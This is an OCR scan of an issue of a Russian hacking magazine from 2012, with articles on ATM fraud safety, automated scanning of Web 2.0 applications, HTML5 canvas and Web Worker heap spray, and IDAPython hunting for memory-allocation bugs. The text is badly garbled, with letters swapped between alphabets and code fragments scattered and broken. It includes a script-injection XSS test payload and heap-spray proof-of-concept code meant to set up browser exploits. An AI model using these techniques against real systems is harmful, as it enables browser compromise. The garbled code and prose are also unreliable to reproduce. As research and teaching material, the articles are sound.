Атм БЕзOпАсЕн!
Безопасным его делают средства антискимминговой
вьlрЕжи и сOхрАни!
-
(обороны>
и защиты
от подгляды-
ваний. Неотъемлемой частью стали скрытые камеры внутри банкомата, записи с которых хранятся на жестких дисках. Количество и расположение камер зависит от выбора банк, обслужибанка-эквайера (эквайер вающий кардхолдеров путем предоставления банкоматов, терминалов и прочего). Фрагменты записей обычно также передаются в режиме онлайн в спецотделы банка. Видеонаблюдение внутри устройства, как правил0, дOпOлняется внешними камерами их устанавливают в пOмещении, где расположен банкомат. Сейчас банки все чаще используют GРS-маячки, которые позволяют отследить перемещения банкомата, если ег0 все-таки пOхитили с места установки. Но сделать это не так-то просто: устройство весит от 600 до ]500 килограммOв и крепится к пOлу пOмещения мOщными анкерными болтами.
-
устройством, то убедись, что рядом никого нет, и не забудь о предыдущем совете.
-
Стандартный тайм-аут на изъятие денег 30 секунд. Если не успеешь забрать наличность, то она будет задержана, после чего придется разбираться с банком, что не всегда приятно. То же самое произойдет и с картой, если ты не успеешь забрать ее за З0 секунд. Если тебе нужно сохранить термочек, убери его в темное прохладное мест0, например между страниц книги; а еще лучше сразу сделай ксерокOпию или скан. Если же несчастье все-таки произошло и твою карry (угнали)) срочно звони в банк и требуй HelieдлeнHo заблокировать карry! Чем раньше
-
ты сделаешь это, тем больше шансов сохранить деньги. Аналогично нужно вести себя, если карта застряла в банкомате. Самое главное: не дер),ки на карте много денег, пусть там будет денежка на <<карманные расходы)>. Используй мя хранения счет, а нужные суммы перевOди перед планируемыми пOкупками, так ты смOжешь оставить мошенников с носом :l.
ВМЕСТ0 ЗАКЛЮЧЕНИЯ Сегодня ты узнал, как устроен банкомат, и познакомился с принципами его работы. Конечно, это лишь малая часть того, что я могу тебе рассказать о сложном и увлекательном мире АТМ, Но, вооружившись полученными знаниями, ты без труда сможешь опознать опасный банкомат, а также поддержать беседу со знакомым банкоматчиком ;l. всего тебе самого безопасного! fE
хлкЕр
12
l16,1/2012
взлO]ti
Тарас Иващенко, ад1.1инистратор информационной безопасности в Яндексе {охdеflВуапdех-tеаm.гu,
oxdef,info]
пЕl?ппЕ Вся инфорtlация предоставлена исключительно в ознакоtlительных целях. Ни редакция, ни автOр не несут 0тветственнOсти за любой возttоlкный вред, причиненный llaTeриала1.1и данной статьи.
Робот
n АвтO}iАтизи рOвАн н ыЙ Аудит вЕБ_п риложЕн иЙ Веб-приложения становятся одной из основных частей (цифровой жизни> современного человека. Кажется, что еще чуть-чуть и мы вовсе забудем о традиционных приложениях останется только смесь из веб-браузера и операционноЙ системы. Уже сеЙчас веб-аналоги заменили большинство десктопных приложениЙ кино и ТВ, почта, чаT, игры, социальные сети. С точки зрения безопасности это несет множество проблем для автоматизированного тестирования. Рассмотрим некоторые из них и попробуем
-
наЙти решения.
прOБлЕмы Как я уже отметил, за последние годы все, что связано с вебом, шагнуло очень далеко вперед, а ве6-6раузеры становятся, по сути, главными десктоп-приложениями. В то же время сканеры безопасности веб-приложений развиваются не так быстро. На текущий момент процесс сканирования веб-приложения классическим сканером включает в себя следующие фазы: Аутентификация в тестируемом веб-приложении. 0бычно это один или несколько НТТР-запросов [так называемая логинпоследовательность), отправка приложению которых приводит к созданию полноценной пользовательской сессии. Например, в простейшем случае это может быть РOSТ-запрос с именем пOльзователя и паролем на URL вида http://example.com/
.
. .
а
uth. ph р.
Кровлинг [англ. сгаwliп9). По сути, это обход с определенной глубиной (пауком) веб-приложения и сбор всех сущностей, которые мOгут генерировать НТТР-запросы: ссылки, формы, пOдключение скриптOв и так далее. Фаззинг [англ. fuzzing] самый этап, на котором сканер -тот и шлет большое количество НТТР-запросов с магической нагрузкой, анализирует ответы веб-сервера и пытается определить наличие XSS, SOLi lздесь и далее XSS, SQLi считаем уязвимостями, а не атакамцJ и прочих уязвимостей.
.
-
0тчет наверное, самая простая фаза, когда сканер генерирует в необходимом формате отчет для пользователя.
К несчастью, когда имеешь дело с современным вебприложением, у обычного сканера <обламываются зубы> при попытке найти в нем уязвимости. Проблемы начинаются уже на первом этапе кровлинга. Когда сканер запрашивает веб-страницу, он надеется получить в итоге пусть и не <валидный>, но все-таки преимущественно HTML с примесью JavaScгipt и CSS. Затем со страницы аккуратно выдираются ссылки, формы и тому подобное. Но в мире Веб 2.0 index.html уже давно не торт! Сейчас это уже скорее мясо из JavaScгipt с легкой окантовкой из HTML [в том числе и для того, чтобы сообщить параноику-пользователю о необходимости включить JavaScгiptl. Посмотрите на НТМL-исходник любого популярного социального сервиса и убедитесь в этом. Весь пользовательский интерфейс строится сейчас на клиенте. Сканер
хдкЁр 12l1b7l
2012
Робот для Веб 2.0
q,
Brck FoM
,rl (B П Tбolr G Mlo.d & sшl stop Book
1u1,,q!,,""l, оФl
Ноmэ
|
oxdef Projects
l
',2
met ,
., ] pellentesque consequat lpsum ln lpsum tlncldunt slt lасlпlа umа sodaeS. ц dapibus saglnJs auque, а auctor tellu5 р i _,a:] :, 1! ] ] !_5 uз ,|!et
. wзаl - web fuolicaton ffack and дudit Frameyork сопйьutоr . тhе ooen web юpllcation securi& Project (owAsP) member
odlo massa, puмna ас d,ctum поп, pre0um l Р, *:.. uье " , r Dопес mаQпа, sed ln odo mte fппФllа Sodales, liQ Erш ot5m orc , aolplsclngQulsпо1 сопsесt
Papers
.2о1 1_09_19 9заrJU: Howto test reb аооliсбtiопý wlй t3af .2011_04{з web aoo{ication Wlлerabllities iп соftеf о' ЬlоwБеr densioný .20! 1_01_16 web арaяiсаtiоп Wlnerabi|tieý iп cofteк о' browýer еfепsiопý .2010_1 1
_2 |
*
ооеm
Slides
ý
Статьr
ýlD.
lд
Рис. 2. Примерно такой браузер встроен в большинство сканеров
в НТТР-ответе не видит никаких ссылок, форм. Кровлинг проходит практически безрезультатно. А все потому, что в то время, как веб-
браузеры эволюционировали от таких представителей, как Lynx и Mosaic, до монстров Fiгеfох и Сhгоmе, большинство сканеров по свOим вOзмOжностям внутри 0стались на урOвне текстOвых браузеров. это коммуникация между веб-клиентом !ругой блок проблем и веб-сервером, Конечно, как и в эре 1,0, это до сих пор в большинстве случаев делается с помощью стандартных GЕТ/РOSТ-запросов, В то же время приходится учитывать и такие моменты: В каком виде данные путешествуют между сторонами? В виде GЕТ-параметров? Как РOSТ-нагрузка? Аможет, мы имеемделосХМL-илиJSON-данными? А как насчет поддержки веб-сокетов?
-
.
. .
И наконец, конечно же, обычный сканер мало что может предпринять для поиска чисто клиентских проблем, например DOM-based XSS !а, разработчики сканеров пытаются выкрутиться /з голожения и используют.умный. поиск сигнатур возл,lожчой уязвимости в JavaScгipt. Но все же очевидно, что для их детектирования сканеру необходим полноценный встроеннь й JavaScгiptдвижок, равно как и другие браузерные технологии. И это очень непростая задача для разработчиков.
СРАВНЕНИЕ СКАНЕРOВ
.
.
того чтобы выяснить текущее положение с поддержкой современных веб-технологий в с(анерах уязвичостей, я подготовил [ну хорошо, взял старое и переделал в духе Веб 2.0] специальное тестовое веб-приложение под названием lttег. !а-да, это сервис микроблогов, и я надеюсь, что он станеттаким же популярньiм, как и его практически однофамилец:J, Тестовое приложение обладает следующими характеристиками:
.
. .
LAMPILinux-Apache-MySaL-PHP); поиск, личные сообщения, закладки; пользовательская часть за аутентификацией;
27 15 :9:с5 ча Web
!_]ц
Donec odto massa, puмna ас dictum поп, pretiumvtae magna Sed |п odio quis antefrin0illa Sodales. Et :aj: 05 ]7 15 :з:05 ца пеЬ
*
а|!д Lorem ipsum dolorslt met, consectetur adipiscing eht, FUSсе чеhсUlа, qum eu auctor philetra, епim orci
l
Рис.3. ltter
во всей
красе
использованиеАJАХ(например,длязакладок); ну конечно же, тут есть
уязвимости;],
Затем я отправился на всем известный сайт sесtооls.ог9 и взял несколько сканеров из секции Web Sсаппегs. Выбор делался на оснOве следующих критериев: встроенный модуль кровлинга (по этой причине утилиты вроде (старого лампового) nikto не попали в выборку}; . вслучаескOммерческимипродуктамидOступнаядемо-илитриал-версия,
.
Результаты тестирования были, вообще говоря, предсказуемыми. 0чень небольшое количество сканеров из протестированных имеют хоть какую-нибудь поддержку АJАХ-технологий. Q, Е. D. Теперь давай обсудим возможные пути и просто (<костыли>> для решения этих слOжных задач.
рЕшЕния Хорошо, мы убедились, что А..|АХ и вообще современные вебтехнологии принесли немало проблем для сканеров уязвимостей. Эти проблемы можно разделить на две большие области: сбор НТТР-трафика между клиентской и серверной частями веб-
. .
уязвимOстЕЙ вЕБ-прилOжЕниЙ Щля
]i:.05
прилOжения;
детектирование проблем безопасности, специфичныхдля клиентской стороны.
Но что у нас с возл"lожными решениями? Попробуем разобраться и рассмOтреть следующие варианты:
.
. .
.
Специальный JачаSсгiрt-парсердля извлечения URL-адресов из кусков JачаSсгiрt-кода. Классическое сканирование с подмешиванием сохраненных НТТ Р-з
а п ро со
в.
Интеграция сужесуществующими 0А-инструментами,
например
Sel en i um.
Встроенныйдвижокбраузерасмагиейдляимитациидействий пOльзOвателя.
Сканер
D01.,t-based XSS
Нашел АJАХ-запросы
wЗаf [tгuпk чегsiоп)
Вообще-то нет, но есть специал ьный gгер-плаги н для поиска опасных участков JачаSсгiрt-кода, в том ч исле и domXSS
Нет
Skipf ish {2.05b-1l
Нет
Нет
wapiti
Нет
Нет
Нет
Нет
П
Нет
Нет
И сп ол
Да
УАкунетикса естьтехнология под названием CSA (и возможность использовать модуль MS
В u rр
[1.1.6J
Рrоху
[1
.4.01l
ZарРгоху [1.З.2l Acunetix l8.0]
Да
Комментарий
Поддержка JavaScгipt ротести рова ьзовал
н и
12 11671
2а12
TOD0
Sрidег из бесплатной верси и
сь sрidег
lE как встроенный
хдкЕр
в
+
attac k m od
браузер)
u
l
es
взлом .
Специально подготовленный APl ве6-приложения для взаимодействия со сканером.
Первый вариант представляет по сути своей JачаSсгiрt-парсер (обычно реализованный с помощью механизма регулярных выражений) для поиска опасных участков кода и извлечения ценной информации вроде тех же URL-адресов. Недостаток такого варианта очевиден это в любом случае не полноценный JачаSсгiрtдвижок, а значит, толку от него в силу событийной природы языка будет не м ного. Второй вариант проще. Ведь и правда можно предположить, что нам удалось откуда-то достать НТТР-транзакции тестового веб-приложения [например, распарсить логи ве6-сервера) и их можно импортировать в сканер для дальнейшего фаззинга. А уж функция импорта есть сейчас практически во всех сканерах! Но мало того что необходимо специальное окружение для регулярных сканирований. Этот вариант не годится еще и потому, что не умеет детектировать клиентские уязвимости. !а и вообще выглядит уж сильн0 0граниченн0. Кроме тестирования безопасности, веб-приложения нуждаются и в обычном функциональном тестировании, А это значит, что утестирOвщикOв уже наверняка есть инструменты для автOматизации этого процесса в рамках SDLC,0дно из самых популярньiх решений для функциональноготестирования интерфейсов вебприложений это Selenium. Логичный вопрос можем ли использовать еrо для тестирования безопасности веб-приложения? ,Щля начала можно сделать единый прокси и проводить через него весь трафик от тестировщиков :). Таким образом мы заполучим так необходимые сканеру НТТР-запросы веб-приложения. Но, имея только трафик, мы столкнемся с теми же проблемами других вариантов, что рассмотрены выше, Существуюттакже исследования на тему использования Селениума напрямую для проверок безопасности [на п ри мер, Ь itly.comiQ99GX5 и sl i d esha. rеlРц8Е.|2]. Четвертый вариант предусматривает наличие встроенного движка современного веб-браузера [например, Мiсгоsоft lE или WebKit) плюс полноценный JачаSсгiрt-движок. На этом варианте мы остановимся чуть подробнее далее. И немного слов о последнем варианте. Мы можем представить серверную часть современного веб-приложения как набор АРl-методов, доступных по НТТР-протоколу. Таким образом, если мы рассматриваем автOматизирOваннOе сканирOвание как часть цикла разработки П0, то мы можем договориться с разработчиками о том, чтобы предоставить сканеру специальный манифест, описывающий этот АР|. Внимательный читатель сразу вспомнит про WSDL-файлы в технологии SOAP. Сканер может забирать такой манифест и фаззить методы из него.
Рис.4. Карта запросов
к ltter,
сделанная w3af
-
-
-
WEB2OSPlDER Мы пришли к тому, что если сканеру придется иметь дело не только с (домашними страницами>), но и с современными вебприложениями, то ему не обойтись без полноценного стека браузерных технологий, Схема работы такого сканера может выглядеть следующим образом. Вначале сканер проходит аутентификацию в тестируемом ве6-приложении и получает сессионные куки. На этапе кровлинга он подключает модуль ве6-6раузера и взаимодействует с ве6-приложением уже с помощью его. При этом модуль браузера шлет через прокси-модуль сканера весь трафик веб-приложения. flействия сканера на стороне браузера (такой "Веб 2.0 кровлинг> получаетсяl разберем более подробно. В случае с AJAXприложением НТТР-запрос к серверной части может быть послан практически при любом действии [или бездействии) пользователя. У ве6-приложения больше нет страниц в привычном их понимании, но есть состояния. Ве6-приложение [клиентская часть) может переходить из одного состояния в другое по клику на ссылке (или любом другом объектеl либо при возникновении любого другого события в рамках JavaScript. Например, пользо-
Fч zza ble
Req
u
ests
Рис.5. Web2OSpider
ватель кликнул на ссылку.Настройкиr, и ему без перезагрузки основной страницы показывается форма с настройками, которая также без перезагрузки и отправляется на сервер для обработки. Таким образом, задача в рамках этапа кровлинга из <собрать все ссылки) превращается в <собрать максимально полную карту состояний ве6-приложения>. !ля упрощения этой, вообще говOря, сложной задачи будем считать, что URL однозначно идентифицирует состояние веб-приложения. Например, для экрана <Настройки> U RL может выглядеть как http://example.com/app/#settings. После открытия в модуле браузера <главной страницы) веб-приложения мы можем попросить его найти и прокликать все объекты, которые могут быть источниками смены состояния, например те же ссылки (тег al или картинки (тег img). Запомнить все нOвые сOстOяния, кOтOрые пOлучились пOсле клика для следующей итерации. Затем проходим подобным образом по всем собранным состояниям [количество итераций, оно же глубина обхода, конечно, регулируется). Напоминаю, что весь трафик при этом проходит через сканер и сохраняется для дальнейшего фаззинга. Конечно, можно в качестве модуля браузера использовать в (сыром> виде соответствующий движок - Gecko, WebKit... Но эта задача будет равна, по сути, написанию своего еще одного браузера, которых на том же WebKit сейчас великое множество. Но есть вариант интереснее и проще а что, если использовать полноценный веб-6раузер без *иксовu, да еще и с возможностью скриптинга на JачаSсгiрt?I Вот, например, PhantomJS, который уже пользуется популярностью у разработчиков и тестировщиков. Это полный стек браузерных технологий на базе WebKit, которым можно управлять через скриптинг на JavaScгipt и даже СоffееSсгiрt, Также важным фактором является то, что, как и движок, это свободный [New BSD License] проект. Например, в следующем участке кода мы открываем необходимую страницу и можем выполнять с ней практически все что угодно в кOнтексте ее дOмена.
-
console. 1og( ' Loading а web page ' ); Vаг раgе = геqчiге( 'webpage' ) . сгеаtе( ); чаг чг1 ='http://www.phantomjs.oгgl' ; раgе.ореп(чг1, function (status) { phantom.exit(); //Паgе is ]"oaded! }); А вот так можно сделать простую, но тем не менее <натуральную> проверку DOM-based XSS:
Val. раgе = пеw [^lеЬРаgе()j чаг чп1 = "http://example.com/foo.php"; хлкЕр
12l1b7l2012
Роботдля Веб
if
(states.indexOf(tmp_uг1)
to_visit
.
push (tmр_чг1 )
==
-11
2.0
1
}
}
this.back(); } 1\. ])l
});
}
PhantomJS
Рис. 6. Лоrотип
Рис.
7.
Логотип
CasperJS
vаг token = 'xss'; vаг payload ='?"><scгipt>document.title=Stгing.
fгоmСhагСоdе(' + stг2ascii(token) +')</sсгiрt>';
uгl=чг].+рауIоаd; раgе.ореп(uп1, function (status) if (status !== 'success') { console. log( 'Unable phantom.exit();
}
}
Рис. 8 .Логотип w3af
}); Jt
fог (чаг i
= О; i <= max_deep; i++) саsреr. then ( ргосеss_раgе) ;
Ё
} {
to Ioad the
addгess
titIe = page.evaluate(function геtuгп document.title;
var-
()
I '
);
{
});
if (title
==
token)
{
console.log('DOM-based XSS чг1);
}
phantom.
is
found in\nURL:
'
+
-
exit ( );
Все очень просто. В нагрузке пытаемся изменить какой-нибудь DOМ-объект и потом проверяем изменения. В данном случае меняем document.title. Но использовать в чистом виде PhantomJS может оказаться для специфичных задач все же не так удобно, как хотелось бы. В таком случае рекомендую обратить внимание на другой проект СаsрегJS, который, по сути, является надстройкой над PhantomJS и дает, как любят говорить программисты, больше (синтаксического сахара) и удобства скриптинга на все том же JаvаSсгiрt. 0писанный выше алгоритм обхода состояний веб-приложения, реализованный для PhantomJS/CaspeгJS, будет иметь следующий
-
вид:
ргосеSS_раgе =
vаг
чг11
function ()
if (to_visit.length чг1
=
> 0) to_visit.pop();
{
,[
Современные веб-приложения принесли не только скорость работы интерфейса и прочие удобства для конечного пользователя и веб-разработчиков, но и порядочно головной боли для разработчиков сканеров уязвимостей. Полноценно тестировать такие прилOжения дOступн0 далек0 не всякOму сканеру, и зачастую это дорогие коммерческие разработки. Более того, это еще и хорошая тема для академического исследования! В этой статье я попытался показать, каким образом эти проблемы можно решать и чт0 за теми сканерами, кOтOрые сумеют эт0 сделать, будущее. Удел же остальных будет сканировать старые ламповые веб-странички :). ]tr
{
геtuгп;
J
this.thenOpen(uг1, function () { vаг Iinks = this.evaIuate(getCllckabJ.e); fоп (чаг i = 0; i < Iinks.length; i++) i
if (this.exists(Iinks[1].path)) { if ( !need_fo1Iow_unI(Iinks[1].hгef)) continue;
{
}
this.thenCIick(IinksIi].path).then(function this.wаit(З00, function () { чаг tmр_чг1
=
хлкЕр
121167/2012
()
lш
{
this.gеtСчггепtUr1();
if (uгl !== tmр_uгl) { if (get_domain(tmp_uгI)
Немного комментариев по коду. Массив to_visit содержит URLадреса, которые необходимо будет учесть при следующей итерации. А states, соответственно, адреса уже обработанных состояний. Количество итераций есть глубина анализа веб-приложения и задается переменноЙ max_deep. Функция пееd_fоllоw_uгl необходима для того, чтобы наш (паук> не уходил за пределы домена тестируемого веб-приложения. Напоминаю, что мы рассматриваем все-таки скорее РоС, чем рабочий вариант, и поэтому считаем, что НТТР-запросы могут генерировать элементы а и img. flля абсолютноЙ адресации этих элементов я использовал СSS-селекторы, хотя кому-то будут больше по душе ХРАТН. Ну и наконец мы подошли к самому сканеру и проксимодулю. В рамках данного исследования в качестве сканера был выбран wЗаf. ,Щля тех, кто не знает: это достаточно мощный опенсорсный модульньiй сканер. Эдакий Метасплоит для веба. Написан он на Питоне, а буква F в названии расшифровывается как фреймфорк {Web Application Attack апd Audit Fгаmеwогk) в общем, достаточно легко можно писать для WЗаf свои модули. В нашем случае был написан РоС disсочегу-модуль wеЬ2OSрidег (bit./SU7cc2), который как раз и запускал при сканировании PhantomJS со специальной JS-нагрузкой. Трафик при этом проксируется через другой модуль wЗаf и в дальнейшем на этапе аудита используется для всестороннего фаззинга. В итоге пOлучилOсь дOстатOчн0 интереснOе решение, кOтOрOе пOзвOляет уже не с таким ужасOм в глазах смOтреть на тестирOвание, в том числе и автоматизированное, современных ве6приложений, А с учетом того, что у нас есть полноценный браузер и возможность запуска произвольного JS-кода в контексте тестируемOг0 дOмена, мы впOлне мOжем пOискать клиентские уязвимости!
ЗАКЛЮЧЕНИЕ
{
states.push(uг1)
} else
{
==
tагgеt_dоmаiп)
{
. <lnvariant-Based Automatic Testing of 1-1оdеrп Web Applications> Ьу Ali i,lesbah, Агiе van Dечrsеп апd and Dаппу Roest, !it.]y|z!x!d . <Сhаllепgеs iп the Automated Testing of llodern Web Applications> Ьу Nathan Hamiel, Grеgоrу Fleischer, Seth Law апd Justin Engle1 bIJylTxlЗ8!
взлOil
Алексей Синцов
(def
сопгчssiаГd gmail.coml
ппlп
ппптт!tr
. 06щее о Неар Sрrау: goo.9l/0MMxC; . презентация на тену испOльзOвания
Вся информация предоставлена исключительн0
HTPlL5 для Неар
целях. Ни редакция, ни автOр не несут 0тветственнOсти
Spray: goo.gl/RбqLh.
в 0знак01.1ительных
за любой возмоr<ный вред, причиненный МаТеРИаЛаl,,lИ
статьи.
ДаННОЙ
Новьlетрюки
длянЕАр5рm ](AK нтм L5
дшАЕт нАшу жизнь прOlцЕ lUlOжнЕЕа
Трудно не заметить, что в наше время очень многие занимаются секурити-темой. Oчевидно, что эта движуха уже вышла за рамки андерграудного угара [хотя и там еще полно молодцов] и хлещет новыми темами и фичами, ноуже по-взрослому-теперьэто называется исследованиями. В связи с чем ваш покорный слуга, с позволения доблестной редакции, решил завести колонки где будет освещать такие вот телодвижения сцены, а также излагать свOи cKpOMHble мысли п0 этOму пOводу. НЕАР SPRAY НА HTML5 При создании эксплойтов для браузера или его плагинов часто возникает необходимость выполнить так называемые Неар Sргау. Эта техника позволяет заполнить память процесса заранее подготовленными данными, чтобы при эксплуатации уязвимости их можно было использовать. Например, там можно распOлOжить сам шелл-кOд и пOсле атаки выпOлнить перехOд на него [Неар Sргау дает возможность заполнить память так, чт0 мы мOжем предпOлOжить т0 мест0 в памяти, где шелл-кOд будет находиться). Кроме того, эта техника используется для эксплуатации таких уязвимостей, как Неар 0чегflоw и Useаftег-fгее. Последние лет десять для этой техники использовали обыкновенный JачаSсгiрt. Грубо говоря, просто создавали большой массив строк в памяти. Но разработчики браузеров, а также 0С (мы говорим о Мiсгоsоft) не дремлют и придумывают различные хитрости, чтобы помешать нам заполнять память своими данными. В этом году на конференции EuSecWest ис-
следователи Федерико Муттис и Энибал Сакко опубликовали еще пару вариантов организации Неар Sргау без использования JS-cTpoK. На самом деле одна из представленных идей давно уже на вооружении у баг-хантеров, но теперь она официально опубликована, так что о ней мы и поговорим...
идЕя Идея любого Неар Sргау проста - сделать так, чтобы память быстро наполнилась данными, которые контролирует атакующий. Если раньше этого добивались, создавая большие массивы со строками в JavaScгipt или даже АсtiопSсгiрt, то теперь нужно
быть хитрее. 0чевидно, чтобы заспамить память, много ума не надо, но нужно сделать это так, чтобы еще и работало быстро. Так, одной
из идей было использование ВМР-картинок, которые бы подгружались в браузер. Что логично, содержимое ВМР шелл-код. Если таких картинок грузить много, то они будут располагаться в памяти одна за другой, таким образом реализуя Неар Sрrау. Только есть одна проблема: по сети это может занять какое-то время, а атака, которая идет более 20 секунд, не хорошая атака, а длительная и палевная, При этом размер картинки тоже должен быть правильным: слишком маленькая долго спамить, слишком большая будут при заполнении {то есть блоки будут сидеть "просветы) в памяти неплотно, что снижает вероятность *угадыванияu]. Поэтому картинка должна быть равна размеру выделяемой страницы, например 0 х 000]0000. С учетом заголовка кучи и заголовка ВМР это позволит нам с точностью до байта предсказывать значения наших данных по выбранному адресу памяти.
-
-
-
-
HTML5 Теперь вернемся к нашим исследователям. Как уже было сказано, гонять ВМР по сети дело неблагодарное, поэтому очевидно, что эту идею можно развить, но гадить в памяти без загрузки нового контента по сети. На помощь приходит HTML5, который научился работать с изображениями и дает это делать всем желающим! Да, да, мы говорим о Canvas. Идея проста: . Создаем объект canvas. . 0пределяем размер. Получаем2D-контекст. Создаем изображения, используя RGBA.
-
. .
хдкЕр 12l167l2012
Новые трюки для Неар Sргау
vаг context = elem.getСontext('2d' ); чаг lmgd = context.cneateImageData(256, 256); fi1I(imgd, payload); mеmоrу[i] = imgd;
I.
};
Результат спрея
f
с
J,
< /Sсгiрt>
Видно, что данный пример работает, но все же не так быстро, как старыЙ добрыЙ Неар Sргау на чистом JачаSсгiрt. Поэтому исследователи предложили использовать еще одну фичу: web Wогkегs.,Щанный класс позволяет реализовать в контексте вкладки браузера многопоточное выполнение задач [JачаSсгiрt-кода, например). Я немного изменил код с презентации (чтобы он хоть както заработал, а то любят выкладывать нерабочиЙ код некоторые.,.), и у меня пOлучилOсь примерн0 т0, чт0 хOтели пOказать автOры:
использованиеlt Сапчаs
Ma-orymap
wогkег
.
js
опmеssаgе =
function(e)
{
чаг payload = [0х90, Ох9О, Ох9О, Ох90, Ох9О, Ох9О, е ах90, 0хСС]; чаг imagedata = e.data;
fог(чаг i = 0; i < imagedata.data.Iength; imagedata.dataIi] = payloadIi
Jt postMessage
(
%
i++)
{
payload.length];
imagedata );
},;
мы выносим <<поток) копирования пейлоада в данные изображения. Именно этот цикл занимает основное время выполнения спрея. main. html VаГ mеmогУ = Дггау()j
window.onload = function() va г wогkеrs = дппаУ( ).i
чаг
{
MAX_WORKERS = 5j
fог(чаг i
0; i
< 2OOO; i++) { = document.cгeateElement('canvas' elem.width = 256; =
чаг еlеm
Результат спрея
о .
с
elem.height = 256; vаг context = elem.getСontext('2d' ); чаг imgd = context.cгeatelmageData(256,
использованием Wоrkеr
if(i
Через RGВАзаносим пейлоад. Тиражируем!
\. Jl
wоrkегs[1
<
function fi1l(imgd, payload) { fоr^(чаг 1 = 0j i < imgd.data.length; i++) { imgd.data[1] = payloadIi % payload.length]; Il
};
window.onload = function() { чаг payload = [0х90, 0х90, Ох90, Ох9О, Ох9О,
i
< 100; i++) 256:,
elem.height = 256;
е
{
document. сгеаtеЕlеmепt('сапчаs'
elem.width =
12116712012
н
;
{
};
Vаг mеmоrу = Дггау()j
хдкЕр
.postMessage(imgd)
MAX_IrIORKERS].onmessage =
Il
>
0х90, 0хСС]; fог(чаr, i = 0.; чаг еIеm =
%
mеmогу[1] = e.data;
DOCTYPE html>
sсгlрt
% MAX_WORKERS]
Гunction(e)
РоС < !
256);
< MAX_WORKERS) { WОГkеГsIi] = пеw Wогkег('wогkег.js, );
wогkегsIi
В итоге мы сделаем то же самое, что и lmа9еSргау, только теперь по сети ничего не гоняется и мы делаем это в разы быстрее.
).;
);
I. J,
0сновной код точно такой же, только копирование пейлоада вынесен0 в вOркеры. Единственная особенность, которая возникает при данном примере, плотность спрея высока только в средне-нижней части карты памяти. Это стоит учитывать для планирования стабильных эксплойтов. Тем не менее тема раскрыта, но не до конца: что в первом, что во втором примере есть проблемы с плотностью [тестировалось в Fiгеfохl. Предлагаю читателю самостоятельно улучшить показатели Неар sргау, манипулируя размером изображения или с помощью иных хитростеЙ. Главное ведь идея ;).
-
Е
взлOм
fl ttитрий <DharmD
Пронькин (twittег.соm/skу5еагсhегl
Ф
ео о о Е
с ,ч
о
АВТOi,lАти3иРУЕ]t{
пOиск уязвимOстЕи,
вьlзвАнньlх
HEKOPPEKTHbl]t{
испOльзOвАниЕ},| ФункциЙ дш-ос/FRЕЕ с IDAPYTHON
Естественное желание упростить себе жизнь вынуждает автOматизирOвать пOиск уязвимостей. Как и прежде, помогать нам будет плагин lDAPython, позволяющий использовать всю мощь Python в отладчике lDA Рго. Но если в прошлый раз мы искали ошибки в циклах и переполнения буфера, то в этот раз устроим охоту на баги, связанные с функциями выделен ия/освобожден ия памяти.
080
жffi
Предыдущие части были сфокусированы на счетчике копирования. Сегодня мы сосредоточим внимание на размере выделяемой памяти, прOверке возвращаемых значений и операциях с указателями для функций выделения памяти. Щанными в динамической памяти оперируют функции выделения памяти. С семействами функций alloc и fгее связаны четыре категории уязвимостей: целочисленное переполнение, игнорирование проверки возвращаемого значения, повторное освобождение памяти и использование освобожденной памяти. Задачу проверки на эти категории можно проиллюстрировать схемой, представленной на рисунке 1.
рffiниЕ
Арифметические операции с параметром аllос-функций приводят к тому, что выделяется недостаточное количество памяти для буфера. Следствием этого является переполнение в куче. На примере из рисунка 2 можно увидеть, что с параметром malloc происходит интереснOе. Подобная арифметическая ошибка была найдена недавно в браузерном протоколе Steam, в обработчике графических файлов TGA.
add еахrеах add еахrеах push еах
ca1l mаllос_wгаррег ,Щля идентификации этого паттерна используется, как обычно, трассировка и анализ операндов инструкций. Задача предельно прOста: от начальной точки выделения памяти, трас- функции сируя вверх, обращать внимание на математические инструкции,
хлкЕр 12/1ь7/2012
Наказуемая беспечность
]ltou l-{елочисленное
double frее
переполнение направление
EilXr [еЬр+6ц9_91
shl lea ]|ou рцsh call
трассирOвки
Рис.
2.
Еах, Z tGхr [еах+еах+зOhI tsi, tsр есх ;SizB ds:nalloc
Арифметическая оtлибка в браузерно1,1 протоколе Steam
call
ds:_inp_lstrlenUE{ ; lstгlenlrl(x) esl, еах esl еах, [eso+esi]
mоU
inc lea
use-after-free
Еах *inp_CoTas}llenAllocO{
push
;сЬ
cal l
Рис. 3. Размер выделяемых байтов для функции вычисляется динаt!ически
Рис. 'l. Схема проверки четырех категорий уязвиl.tостей
не
где нулевой операнд-трассируемое
значение. Но одной функцией malloc семейство аллокаторов не ограничено. Сюда относятся также LocalAlloc, SуsАllосStгiпg и так далее. !ля скрипта-помощника важно лишь, что в0 всех этих функциях присутствует слово <alloc> и что у части из них параметр <<размер> не один. Это обуславливает найти нужный дополнительную небольшую задачу для скрипта push. Например, объект трассировки у LocalAlloc нулевой операнд второго push'a, а у mal|oc- первого и единственного push'a. В задаче проверки на iпtеgег очегflоw одна из вкусностей в том, что размер выделяемых байтов для функции выделения может вычисляться динамически [например, быть возвращаемым strlеп-likе функциейl. Подобный пример ты можешь увидеть на рисунке З.
-
Код, выполняюlций простейший анализ В Список арифметических инструкций
#
!ля
]
функции ma1loc ищем первый push
fог step in
гапgе(5): еа=RfiгstВ(еа) # Покраска удобна для отладки и наглядности SеtСоlог( еа, CIC_ITEM, 0хсЬе4е4) if GetМnem(ea)==' push' : # Проверка на константу
if
GetOpnd(ea,0)==5: bt^eak
# Находиlч объект трассировки tгaceval=GetOpnd ( еа, 0) Ьгеаk step=41 еа ! =рапепt: SеtСоlог ( еа, CIC_ITEM, ОхсЬе4е4)
whi]e
гstВ ( еа ) fr Ищем трассируемый операнд if GetOpnd (eaJ 0) ==tгасеvа1, # Влияют ли математические инструкции на будущий # размер if GetMnem(ea) in maths:
еа= Rfi
if
GetMnem(ea)=='19.
'
,
# 1еа причастна только при сложении if'+\ поt in GetOpnd(ea,1): Ьгеаk
# Сообщаем
о
возможной арифметической
ргiпt 'La vida
А1].оса
ошибке
at addгess',hex(ea)
0ГЛЯДЫВАЯСЬ НАЗАД е мое з наче н и е не п р а вил ьн о и нте рп рет и руется или пOпрOсту игнорируется, то поведение прOграммьl мOжет стать
Ес л и во звр а ща
хдкЕр
121167/2012
п
редс ка зуем
ы
м.
М bt до
лжн bl осматр
и в
ать функци и
памяти, поскольку многие уязвимости были связаньl п
ровер ки воз
в
Bbl
с
де лен ия
отсутствием
ра щае мOг0 зн ачен ия. Книга по исследованиюуязвиttocTeй The
Art of Software SecцrityAssessment
